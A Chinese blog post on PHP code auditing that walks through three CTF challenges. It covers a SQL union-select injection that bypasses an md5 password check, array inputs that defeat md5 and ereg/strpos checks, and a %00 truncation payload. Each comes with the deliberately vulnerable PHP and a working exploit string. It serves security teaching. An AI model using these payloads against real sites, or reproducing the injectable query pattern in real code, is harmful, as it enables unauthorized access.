PHP代码审计分段讲解(7)
17 密码md5比较绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <?php if ( $_POST [user] && $_POST [pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST [user]; $pass = md5( $_POST [pass]); $query = @mysql_fetch_array(mysql_query( "select pw from ctf where user=' $user '" )); if (( $query [pw]) && (! strcasecmp ( $pass , $query [pw]))) { //strcasecmp:0 - 如果两个字符串相等 echo "<p>Logged in! Key: ntcf{**************} </p>" ; } else { echo ( "<p>Log in failure!</p>" ); } } ?> |
POST方式传入user和pass的值,将密码进行md5加密之后,与数据库中对应user的密码进行比较,相等则输出flag。
这道题跟第9题类似,使用union select 传入已知数字的md5值
1 | ?user= 'and 0=1 union select ' e10adc3949ba59abbe56e057f20f883e' #&pass=123456 |
sql语句变为了
1 | select pw from ctf where user= '' and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' # |
登录获取flag
18 md5()函数===使用数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 | <?php error_reporting (0); $flag = 'flag{test}' ; if (isset( $_GET [ 'username' ]) and isset( $_GET [ 'password' ])) { if ( $_GET [ 'username' ] == $_GET [ 'password' ]) print 'Your password can not be your username.' ; else if (md5( $_GET [ 'username' ]) === md5( $_GET [ 'password' ])) die ( 'Flag: ' . $flag ); else print 'Invalid password' ; } ?> |
GET传入username和password,需要username和password相等,同时两者md5加密的结果相等。
PHP对数组进行hash计算都会得到NULL的空值,所以使用数组绕过。
1 | ?username[]=1&password[]=2 |
获得flag
19 ereg()函数strpos() 函数用数组返回NULL绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php $flag = "flag" ; if (isset ( $_GET [ 'password' ])) { if ( ereg ( "^[a-zA-Z0-9]+$" , $_GET [ 'password' ]) === FALSE) echo 'You password must be alphanumeric' ; else if ( strpos ( $_GET [ 'password' ], '--' ) !== FALSE) die ( 'Flag: ' . $flag ); else echo 'Invalid password' ; } ?> |
与15题类似,可以使用%00截断,构造payload为
1 | ?password=123%00-- |
也可以使用数组进行绕过,ereg和strpos两个函数处理数组都会返回NULL,NULL!==FALSE。
所以payload也可以为:
1 | ?password[]= |
__EOF__

本文作者:春告鳥
本文链接:https://www.cnblogs.com/Cl0ud/p/13275518.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
本文链接:https://www.cnblogs.com/Cl0ud/p/13275518.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!